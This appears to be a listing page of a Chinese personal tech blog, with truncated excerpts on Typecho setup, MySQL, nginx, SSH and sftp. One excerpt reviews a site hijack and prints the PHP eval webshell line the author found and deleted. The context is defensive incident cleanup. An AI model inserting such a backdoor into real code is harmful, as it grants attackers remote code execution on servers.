typecho1.1 安装提示:『对不起,无法连接数据库,请先检查数据库配置再继续进行安装』

之前解决过一次,但没有记录下来,后来测试其他特性,又忘记了,在此做一个记录。要记得,安装 typecho 1.1 前一定要先创建好相关数据库 默认的数据库名 typecho,要确认本地已存在指定名称的数据库,才可以连接,并写入相关表。如果在已经创建好了数据库,再次提交仍然报错『对不起,无法连接数据库,请先检查数据库配置再继续进行安装』,需要检查两点:已创建的数据名称是否与表单中填写的数据库名称一致

网站入口文件被劫持(网站被挂马)事件回顾

最新处理方案参考网友的解决思路,下载博客的全部源码到本地,使用工具进行查杀。使用 D盾_防火墙(只支持 windows 系统) ,自定义扫描,选择目录之后,自动开始。查杀文件 install.inc.php,存在 eval 后门。<?php @eval($_POST[install]);?>网站入口文件两次被挂马,大概率是这个文件在作怪,直接删除(或者放入沙盒)即可。分析沙盒中的木马文

shell 远程登录失败:connection refused.

同: ssh: connect to host 121.43.60.204 port 22: Connection refused检查服务器登录用户的时候,发现有多个远程登录进程 pts/0、pts/1。从 last 登录记录没有太大问题,但还是想清一下进程,用了 pkill sshd (不建议使用)。然后就发现退出了当前远程登录,再次尝试登录就直接报错:connection refused。从错

MySQL 中 update 与 limit 关键字(关键词)使用限制

问题近两天在改一个 bug,做一个 cron 计划任务,判断并修改过期的用户会员状态。但执行之后用户状态并没有修改。就把 SQL 单独拎出来,放到 navicat(MySQL 连接工具) 里执行一下,果然报错了。UPDATE {$DT_PRE}member SET type = 0 WHERE {$condition} ORDER BY userid DESC LIMIT 0,10000提示 “1

Typecho 的 DPlayer 插件在 VOID 主题下的兼容性测试 - 薛之谦 - 《演员》mv

2020/1/13 更新感谢 熊猫小A 的提醒,看到确实有位仁兄 himiku 使用 VOID 主题同时使用 DPlayer 视频+弹幕播放器插件,视频加载成功。 参考页面 Pixiv 第三方客户端「Shaft」 - 初之音。对比两者的插件发现,引入的 DPlayer.js 版本不一致。F12 调试页面 console 栏可以看到,我加载的 1.25.0 版本,而 himiku 加载的是 1.5.

typecho 后台添加文章、页面阅读数量统计功能

因为本站使用了 typecho VOID 主题和配套插件,插件功能里包含了统计 UV 的功能,所以不用再去额外的安装 viewCount 之类的插件。浏览数统计了,前端也展示了,但在后台的文章列表和页面列表上看不到这项数据。可能是因为后台文章和独立页面涉及到的文件属于 typecho 后台的核心页面,所以插件也不好修改这两块的展示。之前自己也想去数据库里找到这个字段,然后自己修改来着,但因为对 t

Nginx 和 Apache 设置 gzip 压缩

适合 gzip 压缩的情况压缩的好处都知道,传输资源体积减小,传输时间成本降低,消耗的流量降低,一定程度上提升网站用户体验。但不是所有情况下都适合开启 gzip 压缩的,比如前端的资源如 css,js 之类都被 webpack 打包过了,单个文件已经足够小的情况下,或者都是些压缩率较低的文件(图片、音频、视频、pdf等等)。这些情况就不合适或者没有必要,因为开启 gzip 压缩本身也是要消耗服务器

检测 linux 系统下 sftp 服务是否开启

检测环境服务器环境: 阿里云 ESC 服务器,CentOS 7.6。前言之前写过一篇文章 centos 安装、配置 ftp 和操作用户,里面介绍了通过 yum 安装 vsftpd 的过程,其中第一步就是通过 rpm 指令检测 vsftpd 是否安装:rpm -qa | grep vsftpd。rpm 指令能够检测到的只有通过 rpm 或者 yum 进行安装的软件包,如果是通过其他方式安装的软件,是

使用 autoindex 页脚功能配置美化 nginx 目录

前面搭建了一个 Nginx 文件服务器,只是简单的展示了一下目录。现通过 autoindex 页面功能的配置来达到美化 nginx 目录的效果(参考网上教程)。autoindex on 配置展示 nginx 目录的默认版比较简单,样式也不太好看。新版有 github 风格,当然还有些差距。主要改进点如下:使用 nginx 的 autoindex 页脚(footer) 功能添加 javascript

openssl 已安装,nginx 编译仍报错: SSL modules require the OpenSSL library.

问题想要做一个基于 Nginx 的文件服务器,参考了nginx搭建文件服务器(上传(支持断点续传),下载) 教程内容,需要对原有的 Nginx 重新编译安装(添加了第三方的模块),编译过程中,出现了以上错误:SSL modules require the OpenSSL library. 。解决查看了网上的解决方案,有的说 Nginx 没有检查到 OpenSSL 的库,检查目录不对;有的..最终发